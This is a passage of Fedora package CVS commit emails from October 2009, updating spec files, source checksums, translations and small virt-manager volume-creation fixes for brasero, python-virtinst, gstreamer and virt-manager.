 * Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.8.0-7.fc13
 - More translations (bz 493795)
 



From mclasen at fedoraproject.org  Mon Oct  5 17:25:38 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Mon,  5 Oct 2009 17:25:38 +0000 (UTC)
Subject: rpms/brasero/F-12 .cvsignore, 1.29, 1.30 brasero.spec, 1.65,
	1.66 sources, 1.29, 1.30
Message-ID: <20091005172538.91C5C11C00DB@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/brasero/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv19249

Modified Files:
	.cvsignore brasero.spec sources 
Log Message:
2.28.1



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/.cvsignore,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- .cvsignore	22 Sep 2009 05:54:30 -0000	1.29
+++ .cvsignore	5 Oct 2009 17:25:38 -0000	1.30
@@ -1 +1 @@
-brasero-2.28.0.tar.bz2
+brasero-2.28.1.tar.bz2


Index: brasero.spec
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/brasero.spec,v
retrieving revision 1.65
retrieving revision 1.66
diff -u -p -r1.65 -r1.66
--- brasero.spec	2 Oct 2009 13:56:34 -0000	1.65
+++ brasero.spec	5 Oct 2009 17:25:38 -0000	1.66
@@ -1,6 +1,6 @@
 Name:      brasero
-Version:   2.28.0
-Release:   2%{?dist}
+Version:   2.28.1
+Release:   1%{?dist}
 Summary:   Gnome CD/DVD burning application
 Group:     Applications/Multimedia
 License:   GPLv2+
@@ -45,9 +45,6 @@ Requires(pre):     GConf2
 Requires(post):    GConf2
 Requires(preun):   GConf2
 
-# from upstream
-Patch0: eject.patch
-
 %description
 Simple and easy to use CD/DVD burning application for the Gnome
 desktop.
@@ -89,7 +86,6 @@ developing brasero applications.
 
 %prep
 %setup -q
-%patch0 -p1 -b .eject
 
 %build
 %configure \
@@ -207,6 +203,15 @@ fi
 
 
 %changelog
+* Mon Oct  5 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.1-1
+- Update to 2.28.1, fixes a number of crashes and other serious bugs:
+ - Fix a crash when we try to download a missing gstreamer plugin through PK
+ - Don't fail if a drive cannot be checksumed after a burn
+ - Fix a data corruption when libisofs was used for a dummy session
+ - Fix #596625: brasero crashed with SIGSEGV in brasero_track_data_cfg_add
+ - Fix progress reporting
+ ...
+
 * Fri Oct  2 2009 Matthias Clasen <mclasen at redhat.com> - 2.28.0-2
 - Fix ejecting after burning
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/brasero/F-12/sources,v
retrieving revision 1.29
retrieving revision 1.30
diff -u -p -r1.29 -r1.30
--- sources	22 Sep 2009 05:54:30 -0000	1.29
+++ sources	5 Oct 2009 17:25:38 -0000	1.30
@@ -1 +1 @@
-c88b85c15c03fd5198758c00f7375fa2  brasero-2.28.0.tar.bz2
+ad422a966d100f99b027b6b4170e8ede  brasero-2.28.1.tar.bz2



From crobinso at fedoraproject.org  Mon Oct  5 17:27:09 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 17:27:09 +0000 (UTC)
Subject: rpms/python-virtinst/F-12 virtinst-0.500.0-more-translations.patch, 
	NONE, 1.1 python-virtinst.spec, 1.73, 1.74
Message-ID: <20091005172709.C4B0B11C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/python-virtinst/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20339

Modified Files:
	python-virtinst.spec 
Added Files:
	virtinst-0.500.0-more-translations.patch 
Log Message:
Update translations (bz 493795)


virtinst-0.500.0-more-translations.patch:
 es.po | 1390 ++++++++++++++++++++++++------------------------------------------
 it.po |  556 ++++++--------------------
 pl.po |  581 ++++++++++++---------------
 3 files changed, 932 insertions(+), 1595 deletions(-)

--- NEW FILE virtinst-0.500.0-more-translations.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254751649 14400
# Node ID 419a9fbd63b3f8d6b1d310c1eb2b2f09995311d2
# Parent  30700fede5b629cab255ffb000f79b230c0bbf27
Updated translations.

diff -r 30700fede5b6 -r 419a9fbd63b3 po/es.po
--- a/po/es.po	Mon Sep 28 14:13:35 2009 -0400
+++ b/po/es.po	Mon Oct 05 10:07:29 2009 -0400
@@ -1,67 +1,68 @@
+# translation of virt-inst.tip.es.po to Spanish
 # Fedora Spanish Translation of virtinst.
 # This file is distributed under the same license as the virtinst package.
 #
+#
 # H?ctor Daniel Cabrera <h.daniel.cabrera at gmail.com>, 2009.
-#
+# Gladys Guerrero Lozano <gguerrer at redhat.com>, 2009.
 msgid ""
 msgstr ""
-"Project-Id-Version: Fedora Spanish Translation of virtinst\n"
+"Project-Id-Version: virt-inst.tip.es\n"
 "Report-Msgid-Bugs-To: \n"
 "POT-Creation-Date: 2009-07-28 20:34-0400\n"
-"PO-Revision-Date: 2009-01-20 13:06-0300\n"
-"Last-Translator: h?ctor daniel cabrera <h.daniel.cabrera at gmail.com>\n"
+"PO-Revision-Date: 2009-08-21 10:48-0300\n"
+"Last-Translator: Domingo Becker <domingobecker at gmail.com>\n"
 "Language-Team: Fedora Spanish <fedora-trans-es at redhat.com>\n"
 "MIME-Version: 1.0\n"
 "Content-Type: text/plain; charset=UTF-8\n"
 "Content-Transfer-Encoding: 8bit\n"
+"X-Generator: KBabel 1.11.4\n"
+"X-Poedit-Language: Spanish\n"
 
 #: virtinst/CapabilitiesParser.py:172
-#, fuzzy, python-format
+#, python-format
 msgid "No domains available for virt type '%(type)s', arch %(arch)s."
-msgstr "No existen dominios disponibles para este hu?sped."
+msgstr "No existen dominios disponibles para '%(type)s', arquitectura %(arch)s de virtualizaci?n."
 
 #: virtinst/CapabilitiesParser.py:412
 #, python-format
 msgid "for arch '%s'"
-msgstr "para arq '%s'"
+msgstr "para arquitectura '%s'"
 
 #: virtinst/CapabilitiesParser.py:416
-#, fuzzy, python-format
+#, python-format
 msgid "virtualization type '%s'"
 msgstr "Tipo de virtualizaci?n '%s' no soportada"
 
 #: virtinst/CapabilitiesParser.py:418
-#, fuzzy
 msgid "any virtualization options"
-msgstr "Opciones del Tipo de Virtualizaci?n"
+msgstr "Opciones de Virtualizaci?n"
 
 #: virtinst/CapabilitiesParser.py:420
 #, python-format
 msgid "Host does not support %(virttype)s %(arch)s"
-msgstr ""
+msgstr "El host no soporta %(virttype)s %(arch)s"
 
 #: virtinst/CapabilitiesParser.py:433
 #, python-format
-msgid ""
-"Host does not support domain type '%(domain)s' for virtualization type '%"
-"(virttype)s' arch '%(arch)s'"
-msgstr ""
+msgid "Host does not support domain type '%(domain)s' for virtualization type '%(virttype)s' arch '%(arch)s'"
+msgstr "El host no soporta tipo de dominio '%(domain)s' para tipo de virtualizaci?n '%(virttype)s' arch '%(arch)s'"
 
 #: virtinst/cli.py:152
 msgid "Exiting at user request."
-msgstr "Saliendo a pedido del usuario."
+msgstr "Salida a petici?n del usuario."
 
 #: virtinst/cli.py:159
 msgid "Must be root to create Xen guests"
-msgstr "Debe ser root para poder crear un hu?sped Xen"
+msgstr "Se debe ser root para poder crear un hu?sped Xen"
 
 #: virtinst/cli.py:297
 msgid "(use --prompt to run interactively)"
-msgstr ""
+msgstr "(use --prompt para ejecutar de modo interactivo)"
 
 #: virtinst/cli.py:317
 msgid " (Use --prompt or --force to override)"
-msgstr ""
+msgstr " (Use --prompt o --force para sobrescribir)"
 
 #: virtinst/cli.py:352
 msgid "Graphics Configuration"
@@ -77,12 +78,11 @@
 
 #: virtinst/cli.py:358
 msgid "Address to listen on for VNC connections."
-msgstr ""
+msgstr "Direcci?n para escuchar conexiones VNC"
 
 #: virtinst/cli.py:361
-#, fuzzy
 msgid "set up keymap for the VNC console"
-msgstr "define un mapa de teclado para una consola gr?fica"
+msgstr "definir un mapa de teclado para la consola VNC"
 
 #: virtinst/cli.py:363
 msgid "Use SDL for graphics support"
@@ -90,42 +90,37 @@
 
 #: virtinst/cli.py:365
 msgid "Don't set up a graphical console for the guest."
-msgstr "No configura una consola gr?fica para el hu?sped."
+msgstr "No configurar una consola gr?fica para el hu?sped."
 
 #: virtinst/cli.py:388
-#, fuzzy
 msgid "A disk path must be specified."
-msgstr "Se debe especificar, o bien grupo, o bien pool_name."
+msgstr "Se debe especificar la ruta de disco."
 
 #: virtinst/cli.py:390
-#, fuzzy
 msgid "What would you like to use as the disk (file path)?"
-msgstr "?Qu? (ruta de archivo) le gustar?a utilizar para el disco clonado?"
+msgstr "?Qu? (ruta de archivo) le gustar?a utilizar para el disco?"
 
 #: virtinst/cli.py:392
 #, python-format
-msgid ""
-"Please enter the path to the file you would like to use for storage. It will "
-"have size %sGB."
-msgstr ""
+msgid "Please enter the path to the file you would like to use for storage. It will have size %sGB."
+msgstr "Por favor entre la ruta al archivo en el que desea guardar la informaci?n. Tendr? un tama?o de %sGB."
 
 #: virtinst/cli.py:401
-#, fuzzy
 msgid "A size must be specified for non-existent disks."
-msgstr "Un tama?o debe ser especificado para rutas no existentes: '%s'"
+msgstr "Se debe especificar el tama?o para discos no existentes."
 
 #: virtinst/cli.py:403
 #, python-format
 msgid "How large would you like the disk (%s) to be (in gigabytes)?"
-msgstr ""
+msgstr "?Qu? tan grande le gustar?a que fuera el disco (%s) en GB?"
 
-#: virtinst/cli.py:424 virt-install:274
+#: virtinst/cli.py:424
+#: virt-install:274
 #, python-format
 msgid "Error with storage parameters: %s"
 msgstr "Error en los par?metros de almacenamiento: %s"
 
 #: virtinst/cli.py:426
-#, fuzzy
 msgid "Do you really want to use this disk (yes or no)"
 msgstr "?Realmente quiere utilizar este disco (si o no)?"
 
@@ -140,9 +135,8 @@
 msgstr "?El disco %s ya est? siendo utilizado por otro hu?sped!\n"
 
 #: virtinst/cli.py:464
-#, fuzzy
 msgid "What is the name of your virtual machine?"
-msgstr "?Cu?l es el nombre de la m?quina virtual clonada?"
+msgstr "?Cu?l es el nombre de la m?quina virtual?"
 
 #: virtinst/cli.py:465
 msgid "A name is required for the virtual machine."
@@ -150,7 +144,7 @@
 
 #: virtinst/cli.py:472
 msgid "How much RAM should be allocated (in megabytes)?"
-msgstr ""
+msgstr "?Cu?nta RAM deber?a ser asignada en MB?"
 
 #: virtinst/cli.py:473
 msgid "Memory amount is required for the virtual machine."
@@ -159,34 +153,29 @@
 #: virtinst/cli.py:477
 #, python-format
 msgid "Installs currently require %d megs of RAM."
-msgstr "La instalaci?n actualmente requiere %d megas de RAM."
+msgstr "La instalaci?n actualmente requiere %d MB de RAM."
 
 #: virtinst/cli.py:498
-#, fuzzy, python-format
-msgid ""
-"You have asked for more virtual CPUs (%d) than there are physical CPUs (%d) "
-"on the host. This will work, but performance will be poor. "
-msgstr ""
-"Ha pedido m?s CPUs virtuales (%d) que los CPUs f?sicos (%d) en el anfitri?n. "
[...5003 lines suppressed...]
@@ -2137,10 +2136,14 @@
 "--disk path=/my/new/disk,size=5 (in gigabytes)\n"
 "--disk vol=poolname:volname,device=cdrom,bus=scsi,..."
 msgstr ""
+"Nale?y poda? pami?? masow? za pomoc? r??nych opcji. Np.:\n"
+"--disk path=/m?j/istniej?cy/dysk\n"
+"--disk path=/m?j/nowy/dysk,size=5 (w gigabajtach)\n"
+"--disk vol=nazwa_puli:nazwa_woluminu,device=cdrom,bus=scsi,..."
 
 #: virt-install:596
 msgid "Don't set up any disks for the guest."
-msgstr "Nie ustawiaj ?adnych dysk?w dla go?cia."
+msgstr "Nie ustawia ?adnych dysk?w dla go?cia."
 
 #: virt-install:613
 msgid ""
@@ -2149,22 +2152,26 @@
 "--network network=my_libvirt_virtual_net\n"
 "--network network=mynet,model=virtio,mac=00:11..."
 msgstr ""
+"Nale?y poda? interfejs sieciowy. Np.:\n"
+"--network bridge=m?j_mostek0\n"
+"--network network=moja_wirtualna_sie?_libvirt\n"
+"--network network=moja_sie?,model=virtio,mac=00:11..."
 
 #: virt-install:618
 msgid "Don't create network interfaces for the guest."
-msgstr "Nie tw?rz interfejs?w sieciowych dla go?cia."
+msgstr "Nie tworzy interfejs?w sieciowych dla go?cia."
 
 #: virt-install:632
 msgid "Specify video hardware type."
-msgstr ""
+msgstr "Podaje typ sprz?tu graficznego."
 
 #: virt-install:635
 msgid "Don't automatically try to connect to the guest console"
-msgstr "Nie pr?buj automatycznie ??czy? si? z konsol? go?cia"
+msgstr "Nie pr?buje automatycznie ??czy? si? z konsol? go?cia"
 
 #: virt-install:643
 msgid "Disables the automatic rebooting when the installation is complete."
-msgstr "Wy??cza automatyczne ponowne uruchamianie po zako?czeniu instalacji."
+msgstr "Wy??cza automatyczne ponowne uruchamianie po uko?czeniu instalacji."
 
 #: virt-install:646
 msgid "Time to wait (in minutes)"
@@ -2174,15 +2181,15 @@
 msgid "Forces 'yes' for any applicable prompts, terminates for all others"
 msgstr ""
 "Wymusza \"tak\" tam, gdzie to mo?liwe, ko?czy prac? przy wszystkich innych "
-"pro?bach"
+"??daniach"
 
 #: virt-install:671
 msgid ""
 "Unable to connect to graphical console: virt-viewer not installed. Please "
 "install the 'virt-viewer' package."
 msgstr ""
-"Nie mo?na po??czy? si? z konsol? graficzn?: nie zainstalowano virt-viewer. "
-"Zainstaluj pakiet \"virt-viewer\"."
+"Nie mo?na po??czy? si? z konsol? graficzn?: nie zainstalowano pakietu "
+"virt-viewer. Prosz? zainstalowa? pakiet \"virt-viewer\"."
 
 #: virt-install:713
 msgid "Can't use --pxe with --nonetworks"
@@ -2207,9 +2214,9 @@
 " restart your installation."
 msgstr ""
 "Instalacja domeny chyba nie powiod?a si?. Je?li jednak\n"
-" powiod?a si?, mo?esz ponownie uruchomi? domen?\n"
-" uruchamiaj?c \"virsh start %s\"; w innym przypadku\n"
-" uruchom ponownie instalacj?."
+" powiod?a si?, mo?na ponownie uruchomi? domen?\n"
+" wykonuj?c \"virsh start %s\"; w innym przypadku\n"
+" prosz? ponownie uruchomi? instalacj?."
 
 #: virt-install:840
 #, python-format
@@ -2217,12 +2224,12 @@
 "Guest installation complete... you can restart your domain\n"
 "by running 'virsh start %s'"
 msgstr ""
-"Instalacja go?cia zosta?a zako?czona... Mo?na ponownie\n"
+"Instalacja go?cia zosta?a uko?czona... Mo?na ponownie\n"
 "uruchomi? domen? wykonuj?c \"virsh start %s\""
 
 #: virt-install:844
 msgid "Guest installation complete... restarting guest."
-msgstr "Instalacja go?cia zosta?a zako?czona... Ponowne uruchamianie go?cia."
+msgstr "Instalacja go?cia zosta?a uko?czona... Ponowne uruchamianie go?cia."
 
 #: virt-install:850
 msgid "Guest install interrupted."
@@ -2237,9 +2244,9 @@
 " restart your installation."
 msgstr ""
 "Instalacja domeny chyba si? nie powiod?a. Je?li jednak\n"
-" powiod?a si?, mo?esz ponownie uruchomi? domen?\n"
-" uruchamiaj?c \"virsh start %s\"; w innym przypadku\n"
-" uruchom ponownie instalacj?."
+" powiod?a si?, mo?na ponownie uruchomi? domen?\n"
+" wykonuj?c \"virsh start %s\"; w innym przypadku\n"
+" prosz? ponownie uruchomi? instalacj?."
 
 #: virt-install:883
 msgid "Guest installation failed."
@@ -2251,13 +2258,12 @@
 msgstr "%d minuty "
 
 #: virt-install:895
-#, fuzzy, python-format
+#, python-format
 msgid ""
 "Domain installation still in progress. Waiting %sfor installation to "
 "complete."
 msgstr ""
-"Wci?? trwa instalacja domeny. Oczekiwanie %s na domen?, aby zako?czy? "
-"instalacj?."
+"Wci?? trwa instalacja domeny. Oczekiwanie %s na uko?czenie instalacji."
 
 #: virt-install:901
 msgid "Domain has shutdown. Continuing."
@@ -2271,73 +2277,12 @@
 #: virt-install:915
 msgid "Installation has exceeded specified time limit. Exiting application."
 msgstr ""
-"Instalacja przekroczy?a podane ograniczenie czasu. Zamykanie aplikacji."
+"Instalacja przekroczy?a podane ograniczenie czasu. Ko?czenie pracy aplikacji."
 
 #: virt-install:921
 msgid ""
 "Domain installation still in progress. You can reconnect to \n"
 "the console to complete the installation process."
 msgstr ""
-"Trwa instalacja domeny. Mo?esz ponownie po??czy? si? z \n"
-"konsol?, aby zako?czy? proces instalacji."
-
-#~ msgid "Could not find usable default libvirt connection."
-#~ msgstr "Nie mo?na znale?? u?ywalnego domy?lnego po??czenia libvirt."
-
-#~ msgid "Unknown network type "
-#~ msgstr "Nieznany typ sieci "
-
-#~ msgid "Need to pass equal numbers of networks & mac addresses"
-#~ msgstr "Nale?y poda? r?wn? liczb? sieci i adres?w MAC"
-
-#~ msgid "Cannot clone remote VM storage."
-#~ msgstr "Nie mo?na sklonowa? pami?ci masowej zdalnej maszyny wirtualnej."
-
-#~ msgid "Missing path to use as disk clone destination for '%s'"
-#~ msgstr "Brak ?cie?ki do u?ycia jako celu klonowania dysku dla \"%s\""
-
-#~ msgid "Could not determine storage type for '%s'"
-#~ msgstr "Nie mo?na ustali? typu pami?ci masowej dla \"%s\""
-
-#~ msgid "Disk volume creation is not implemented."
-#~ msgstr "Tworzenie wolumin?w dysku nie jest zaimplementowane."
-
-#~ msgid ""
-#~ "Bridge to connect guest NIC to; if none given, will try to determine the "
-#~ "default"
-#~ msgstr ""
-#~ "Mostek do ??czenia NIC go?cia; je?li ?aden nie zostanie podany, spr?buje "
-#~ "ustali? domy?lny"
-
-#~ msgid ""
-#~ "Connect the guest to a virtual network, forwarding to the physical "
-#~ "network with NAT"
-#~ msgstr ""
-#~ "Po??cz go?cia z sieci? wirtualn?, przekazywan? do sieci fizycznej za "
-#~ "pomoc? NAT"
-
-#~ msgid ""
-#~ "Fixed MAC address for the guest; if none or RANDOM is given a random "
-#~ "address will be used"
-#~ msgstr ""
-#~ "Sta?y adres MAC dla go?cia; je?li ?aden nie zostanie podany lub podasz "
-#~ "RANDOM, u?yty zostanie losowy adres"
-
-#~ msgid "Use kernel acceleration capabilities (kvm, kqemu, ...)"
-#~ msgstr "U?yj mo?liwo?ci akceleracji j?dra (kvm, kqemu...)"
-
-#~ msgid "Specify storage to use as a disk with various options."
-#~ msgstr "Podaj pami?? masow? u?yt? jako dysk za pomoc? r??nych opcji."
-
-#~ msgid "File to use as the disk image"
-#~ msgstr "U?ycie obrazu dysku nie powiod?o si?"
-
-#~ msgid "Size of the disk image (if it doesn't exist) in gigabytes"
-#~ msgstr "Rozmiar obrazu dysku (je?li nie istnieje) w gigabajtach"
-
-#~ msgid ""
-#~ "Don't use sparse files for disks.  Note that this will be significantly "
-#~ "slower for guest creation"
-#~ msgstr ""
-#~ "Nie u?ywaj plik?w sparse dla dysk?w. Zauwa?, ?e znacznie spowolni to "
-#~ "tworzenie go?cia"
+"Trwa instalacja domeny. Mo?na ponownie po??czy? si? z \n"
+"konsol?, aby uko?czy? proces instalacji."


Index: python-virtinst.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-virtinst/F-12/python-virtinst.spec,v
retrieving revision 1.73
retrieving revision 1.74
diff -u -p -r1.73 -r1.74
--- python-virtinst.spec	24 Sep 2009 13:55:17 -0000	1.73
+++ python-virtinst.spec	5 Oct 2009 17:27:09 -0000	1.74
@@ -17,7 +17,7 @@
 Summary: Python modules and utilities for installing virtual machines
 Name: python-%{appname}
 Version: 0.500.0
-Release: 4%{_extra_release}
+Release: 5%{_extra_release}
 Source0: http://virt-manager.org/download/sources/%{appname}/%{appname}-%{version}.tar.gz
 # Don't erroneously set limit for amount of virtio devices (bz 499654)
 Patch1: %{appname}-%{version}-virtio-dev-limit.patch
@@ -39,6 +39,8 @@ Patch8: %{appname}-%{version}-nonroot-qe
 Patch9: %{appname}-%{version}-no-iso-driver.patch
 # Fix path permissions for kernel/initrd download location (bz 523960)
 Patch10: %{appname}-%{version}-change-path-perms.patch
+# Update translations (bz 493795)
+Patch11: %{appname}-%{version}-more-translations.patch
 
 License: GPLv2+
 Group: Development/Libraries
@@ -76,6 +78,7 @@ and install new VMs) and virt-clone (clo
 %patch8 -p1
 %patch9 -p1
 %patch10 -p1
+%patch11 -p1
 
 %build
 python setup.py build
@@ -111,6 +114,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_bindir}/virt-convert
 
 %changelog
+* Mon Oct 05 2009 Cole Robinson <crobinso at redhat.com> - 0.500.0-5.fc12
+- Update translations (bz 493795)
+
 * Thu Sep 24 2009 Cole Robinson <crobinso at redhat.com> - 0.500.0-4.fc12
 - Don't use usermode net for non-root qemu:///system via virt-install
 - Fix cdrom installs where the iso is a storage volume (bz 524109)



From hadess at fedoraproject.org  Mon Oct  5 17:31:26 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Mon,  5 Oct 2009 17:31:26 +0000 (UTC)
Subject: rpms/gstreamer/F-11 .cvsignore, 1.41, 1.42 gstreamer.spec, 1.103,
	1.104 sources, 1.42, 1.43
Message-ID: <20091005173126.E974A11C00DB@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22305

Modified Files:
	.cvsignore gstreamer.spec sources 
Log Message:
* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
- Update to 0.10.25



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/F-11/.cvsignore,v
retrieving revision 1.41
retrieving revision 1.42
diff -u -p -r1.41 -r1.42
--- .cvsignore	5 Aug 2009 11:44:38 -0000	1.41
+++ .cvsignore	5 Oct 2009 17:31:26 -0000	1.42
@@ -1 +1 @@
-gstreamer-0.10.24.tar.bz2
+gstreamer-0.10.25.tar.bz2


Index: gstreamer.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/F-11/gstreamer.spec,v
retrieving revision 1.103
retrieving revision 1.104
diff -u -p -r1.103 -r1.104
--- gstreamer.spec	5 Aug 2009 11:44:39 -0000	1.103
+++ gstreamer.spec	5 Oct 2009 17:31:26 -0000	1.104
@@ -5,7 +5,7 @@
 %define 	_libxml2	2.4.0
 
 Name: 		%{gstreamer}
-Version: 	0.10.24
+Version: 	0.10.25
 Release: 	1%{?dist}
 Summary: 	GStreamer streaming media framework runtime
 
@@ -211,6 +211,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_sysconfdir}/rpm/macros.gstreamer
 
 %changelog
+* Mon Oct 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.25-1
+- Update to 0.10.25
+
 * Wed Aug 05 2009 Bastien Nocera <bnocera at redhat.com> 0.10.24-1
 - Update to 0.10.24
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer/F-11/sources,v
retrieving revision 1.42
retrieving revision 1.43
diff -u -p -r1.42 -r1.43
--- sources	5 Aug 2009 11:44:39 -0000	1.42
+++ sources	5 Oct 2009 17:31:26 -0000	1.43
@@ -1 +1 @@
-178d3326c96c360c9a15751bd5d73a6c  gstreamer-0.10.24.tar.bz2
+88544e034a051baf472983791d233076  gstreamer-0.10.25.tar.bz2



From crobinso at fedoraproject.org  Mon Oct  5 17:40:57 2009
From: crobinso at fedoraproject.org (Cole Robinson)
Date: Mon,  5 Oct 2009 17:40:57 +0000 (UTC)
Subject: rpms/virt-manager/F-12 virt-manager-0.8.0-createvol-alloc.patch,
	NONE, 1.1 virt-manager-0.8.0-createvol-name.patch, NONE,
	1.1 virt-manager-0.8.0-more-translations.patch, NONE,
	1.1 virt-manager-0.8.0-toolbar-tooltips.patch, NONE,
	1.1 virt-manager.spec, 1.61, 1.62
Message-ID: <20091005174057.4216211C00DB@cvs1.fedora.phx.redhat.com>

Author: crobinso

Update of /cvs/pkgs/rpms/virt-manager/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26913

Modified Files:
	virt-manager.spec 
Added Files:
	virt-manager-0.8.0-createvol-alloc.patch 
	virt-manager-0.8.0-createvol-name.patch 
	virt-manager-0.8.0-more-translations.patch 
	virt-manager-0.8.0-toolbar-tooltips.patch 
Log Message:
More translations (bz 493795)
Don't allow creating a volume without a name (bz 526111)
Don't allow volume allocation > capacity (bz 526077)
Add tooltips for toolbar buttons (bz 524083)


virt-manager-0.8.0-createvol-alloc.patch:
 src/virtManager/createvol.py                |   20 ++++++++++++++++++++
 virt-manager-0.8.0/src/vmm-create-vol.glade |   10 ++++++----
 2 files changed, 26 insertions(+), 4 deletions(-)

--- NEW FILE virt-manager-0.8.0-createvol-alloc.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254757810 14400
# Node ID 97c40c4fb29f7b1b1aadcebd42781f0d471d4697
# Parent  c0cffb13680c120ceff22386754104f66bb01d25
create-vol: Don't allow allocation to be higher than capacity.

Also tweak the spin button climb rates to be more useful.

diff -r c0cffb13680c -r 97c40c4fb29f src/virtManager/createvol.py
--- a/src/virtManager/createvol.py	Mon Oct 05 11:34:39 2009 -0400
+++ b/src/virtManager/createvol.py	Mon Oct 05 11:50:10 2009 -0400
@@ -63,6 +63,8 @@
             "on_vol_cancel_clicked"  : self.close,
             "on_vol_create_clicked"  : self.finish,
             "on_vol_name_changed"    : self.vol_name_changed,
+            "on_vol_allocation_value_changed" : self.vol_allocation_changed,
+            "on_vol_capacity_value_changed"   : self.vol_capacity_changed,
         })
 
         format_list = self.window.get_widget("vol-format")
@@ -144,6 +146,24 @@
         text = src.get_text()
         self.window.get_widget("vol-create").set_sensitive(bool(text))
 
+    def vol_allocation_changed(self, src):
+        cap_widget = self.window.get_widget("vol-capacity")
+
+        alloc = src.get_value()
+        cap   = cap_widget.get_value()
+
+        if alloc > cap:
+            cap_widget.set_value(alloc)
+
+    def vol_capacity_changed(self, src):
+        alloc_widget = self.window.get_widget("vol-allocation")
+
+        cap   = src.get_value()
+        alloc = self.window.get_widget("vol-allocation").get_value()
+
+        if cap < alloc:
+            alloc_widget.set_value(cap)
+
     def finish(self, src):
         # validate input
         try:
diff -rup old/src/vmm-create-vol.glade virt-manager-0.8.0/src/vmm-create-vol.glade
--- old/src/vmm-create-vol.glade	2009-10-05 13:18:10.212062000 -0400
+++ virt-manager-0.8.0/src/vmm-create-vol.glade	2009-10-05 13:19:57.343395000 -0400
@@ -237,8 +237,9 @@
                               <widget class="GtkSpinButton" id="vol-capacity">
                                 <property name="visible">True</property>
                                 <property name="can_focus">True</property>
-                                <property name="adjustment">1 0 100000 1 10 0</property>
-                                <property name="climb_rate">1</property>
+                                <property name="adjustment">1 0 100000 1 1000 0</property>
+                                <property name="climb_rate">10</property>
+                                <signal name="value_changed" handler="on_vol_capacity_value_changed"/>
                               </widget>
                               <packing>
                                 <property name="left_attach">1</property>
@@ -251,8 +252,9 @@
                               <widget class="GtkSpinButton" id="vol-allocation">
                                 <property name="visible">True</property>
                                 <property name="can_focus">True</property>
-                                <property name="adjustment">1 0 100000 1 10 0</property>
-                                <property name="climb_rate">1</property>
+                                <property name="adjustment">1 0 100000 1 1000 0</property>
+                                <property name="climb_rate">10</property>
+                                <signal name="value_changed" handler="on_vol_allocation_value_changed"/>
                               </widget>
                               <packing>
                                 <property name="left_attach">1</property>

virt-manager-0.8.0-createvol-name.patch:
 src/virtManager/createvol.py                |    6 ++++++
 virt-manager-0.8.0/src/vmm-create-vol.glade |    1 +
 2 files changed, 7 insertions(+)

--- NEW FILE virt-manager-0.8.0-createvol-name.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254756879 14400
# Node ID c0cffb13680c120ceff22386754104f66bb01d25
# Parent  67d5721a535f204db27f532e59f491f562c8ff18
create-vol: Don't allow creating vol without a name entered

diff -r 67d5721a535f -r c0cffb13680c src/virtManager/createvol.py
--- a/src/virtManager/createvol.py	Mon Oct 05 10:06:29 2009 -0400
+++ b/src/virtManager/createvol.py	Mon Oct 05 11:34:39 2009 -0400
@@ -62,6 +62,7 @@
             "on_vmm_create_vol_delete_event" : self.close,
             "on_vol_cancel_clicked"  : self.close,
             "on_vol_create_clicked"  : self.finish,
+            "on_vol_name_changed"    : self.vol_name_changed,
         })
 
         format_list = self.window.get_widget("vol-format")
@@ -99,6 +100,7 @@
 
     def reset_state(self):
         self.window.get_widget("vol-name").set_text("")
+        self.window.get_widget("vol-create").set_sensitive(False)
         self.populate_vol_format()
         self.populate_vol_suffix()
 
@@ -138,6 +140,10 @@
             suffix = ".img"
         self.window.get_widget("vol-name-suffix").set_text(suffix)
 
+    def vol_name_changed(self, src):
+        text = src.get_text()
+        self.window.get_widget("vol-create").set_sensitive(bool(text))
+
     def finish(self, src):
         # validate input
         try:
diff -rup new/src/vmm-create-vol.glade virt-manager-0.8.0/src/vmm-create-vol.glade
--- new/src/vmm-create-vol.glade	2009-10-05 13:15:48.335564000 -0400
+++ virt-manager-0.8.0/src/vmm-create-vol.glade	2009-10-05 13:16:48.288704000 -0400
@@ -96,6 +96,7 @@
                               <widget class="GtkEntry" id="vol-name">
                                 <property name="visible">True</property>
                                 <property name="can_focus">True</property>
+                                <signal name="changed" handler="on_vol_name_changed"/>
                               </widget>
                             </child>
                             <child>

virt-manager-0.8.0-more-translations.patch:
 fr.po |   22 +-
 pl.po |  526 +++++++++++++++++++++++++++++++-----------------------------------
 2 files changed, 258 insertions(+), 290 deletions(-)

--- NEW FILE virt-manager-0.8.0-more-translations.patch ---
# HG changeset patch
# User Cole Robinson <crobinso at redhat.com>
# Date 1254751589 14400
# Node ID 67d5721a535f204db27f532e59f491f562c8ff18
# Parent  dab7da238a24f68a15c276b425d7cbf0ef544a92
Updated french and polish translations.

diff -r dab7da238a24 -r 67d5721a535f po/fr.po
--- a/po/fr.po	Thu Oct 01 12:07:14 2009 -0400
+++ b/po/fr.po	Mon Oct 05 10:06:29 2009 -0400
@@ -13,7 +13,7 @@
